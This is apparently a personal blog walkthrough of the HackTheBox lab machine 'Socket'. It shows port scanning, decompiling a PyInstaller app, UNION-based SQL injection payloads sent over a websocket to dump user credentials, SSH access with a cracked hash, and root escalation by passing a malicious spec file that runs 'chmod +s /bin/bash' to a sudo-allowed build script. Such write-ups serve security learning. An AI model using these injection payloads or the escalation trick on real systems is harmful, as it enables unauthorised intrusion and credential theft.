Post

Socket

Enumeration

Rustscan

1
sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.129.191.238 -- -sV -sC -oA ./

Ports

1
2
3
Open 10.129.191.238:22
Open 10.129.191.238:80
Open 10.129.191.238:5789

Services

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://qreader.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
5789/tcp open  unknown syn-ack ttl 63
| fingerprint-strings: 
|   GenericLines, GetRequest, HTTPOptions, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Date: Sat, 25 Mar 2023 19:00:51 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|     Failed to open a WebSocket connection: did not receive a valid HTTP request.
|   Help: 
|     HTTP/1.1 400 Bad Request
|     Date: Sat, 25 Mar 2023 19:01:06 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|     Failed to open a WebSocket connection: did not receive a valid HTTP request.
|   SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Date: Sat, 25 Mar 2023 19:01:07 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|_    Failed to open a WebSocket connection: did not receive a valid HTTP request.

Foothold

First things first, added qreader.htb to my /etc/hosts file.

After that I started to analyze webpage which does pretty much just two basic things:

  • Generate a QR Code based on a string that you provide
  • Read a QR Code in various image formats and display it’s content

Beside that there were two download links one for a linux application and one for windows.

Exploitation

For the next steps you would need to have python38 otherwise you could run into some issues.

Decompile Application

1
2
3
4
5
6
7
# Convert App to pyc
pyi-archive_viewer qreader
? X qreader
to filename? ./qreader.pyc

# Decompyle pyc using uncompyle
uncompyle6 qreader.pyc > qreader.py

Source Analysis

I removed erverything except the interesting parts.

We find an URL which points to the websocket service running on port 5789 and a function “version” that will send some data to that port to receive an answer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...
ws_host = 'ws://ws.qreader.htb:5789'
...
    def version(self):
        response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({
            'version': VERSION })))
        data = json.loads(response)
        if 'error' not in data.keys():
            version_info = data['message']
            msg = f'''[INFO] You have version {version_info['version']} which was released on {version_info['released_date']}'''
            self.statusBar().showMessage(msg)
            return None
        error = None['error']
        self.statusBar().showMessage(error)
...

I’ve already seen SQL Injections over websocket in the past so that was something that came to my mind

SQL Injection

ws_cli.py
I changed the query paramter during my tests

1
2
3
4
5
6
7
8
9
10
11
12
13
from websocket import create_connection
import sys, json

ws_host = 'ws://ws.qreader.htb:5789'

VERSION = '0.0.2'

ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION}))
result = ws.recv()
print(result)
ws.close()

Simple Check

1
2
3
4
5
python3 ws_cli.py
Sending...
Sent
Receiving...
Received '{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}'

Check SQLi

1
2
3
4
5
# query='0.0.3" UNION SELECT 1,2,3,4-- -''
Sending...
Sent
Receiving...
Received '{"message": {"id": 1, "version": 2, "released_date": 3, "downloads": 4}}'

Check which DB

1
2
3
4
5
6
# Played around and sqlite was the way to go!
# query='0.0.3" UNION SELECT sqlite_version(),2,3,4-- -'
Sending...
Sent
Receiving...
Received '{"message": {"id": "3.37.2", "version": 2, "released_date": 3, "downloads": 4}}'

Get Tables and Infos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Getting Tables
## query='0.0.3" UNION SELECT group_concat(name),2,3,4 from sqlite_schema-- -'
Sending...
Sent
Receiving...
Received '{"message": {"id": "sqlite_sequence,versions,users,info,reports,answers", "version": 2, "released_date": 3, "downloads": 4}}'

# Getting Column Names
## query='0.0.3" UNION SELECT sql,2,3,4 from sqlite_master WHERE type!="meta" AND sql NOT NULL AND name ="users"-- -'
Sending...
Sent
Receiving...
Received '{"message": {"id": "CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password DATE, role TEXT)", "version": 2, "released_date": 3, "downloads": 4}}'

## query='0.0.3" UNION SELECT sql,2,3,4 from sqlite_master WHERE type!="meta" AND sql NOT NULL AND name ="answers"-- -'
Sending...
Sent
Receiving...
Received '{"message": {"id": "CREATE TABLE answers (id INTEGER PRIMARY KEY AUTOINCREMENT, answered_by TEXT,  answer TEXT , answered_date DATE, status TEXT,FOREIGN KEY(id) REFERENCES reports(report_id))", "version": 2, "released_date": 3, "downloads": 4}}'

# Getting Content of Columns
## query='0.0.3" UNION SELECT username,password,3,4 from users-- -'
Sending...
Sent
Receiving...
Received '{"message": {"id": "admin", "version": "CENSORED", "released_date": 3, "downloads": 4}}'

## query='0.0.3" UNION SELECT group_concat(answered_by),group_concat(answer),3,4 from answers-- -'
Sending...
Sent
Receiving...
Received '{"message": {"id": "admin,admin", "version": "Hello Json,\n\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\n\nThomas Keller,Hello Mike,\n\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\n\nThomas Keller", "released_date": 3, "downloads": 4}}'

SSH

This one was a bit tricky. The hash found could be easily cracked using https://crackstation.net/. The username wasn’t that simple at first.

Checking the answers table revealed that the admin is named Thomas Keller. So let’s assume a standard naming convention which could be either thomask or tkeller.

1
2
# tkeller was the right name
ssh tkeller@qreader.htb

Escalation

Local Enumeration

1
sudo -l
1
2
User tkeller may run the following commands on socket:
    (ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh

build-installer.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
  /usr/bin/echo "No enough arguments supplied"
  exit 1;
fi

action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')

if [[ -L $name ]];then
  /usr/bin/echo 'Symlinks are not allowed'
  exit 1;
fi

if [[ $action == 'build' ]]; then
  if [[ $ext == 'spec' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /home/svc/.local/bin/pyinstaller $name
    /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'make' ]]; then
  if [[ $ext == 'py' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
   /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'cleanup' ]]; then
  /usr/bin/rm -r ./build ./dist 2>/dev/null
  /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
  /usr/bin/rm /tmp/qreader* 2>/dev/null
else
  /usr/bin/echo 'Invalid action'
  exit 1;
fi

Exploitation

As you can see we run the build-installer.sh as root which means we can inject our own commands to it and have them run as root. I had to read this up but pyinstaller just literally executes the the file which I provided to it.

So instead of giving a valid spec file I created little snippet that modifies /bin/bash

1
2
import os
os.system("chmod +s /bin/bash")

Let’s execute

1
2
3
4
5
tkeller@socket:/tmp$ sudo /usr/local/sbin/build-installer.sh build my.spec
128 INFO: PyInstaller: 5.6.2
128 INFO: Python: 3.10.6
131 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
136 INFO: UPX is not available.
1
2
tkeller@socket:/tmp$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 26 01:26 /bin/bash

Root

1
2
3
4
5
tkeller@socket:/tmp$ bash -p
bash-5.1# whoami
root
bash-5.1# ls /root
cleanup  root.txt  snap
This post is licensed under CC BY 4.0 by the author.

Trending Tags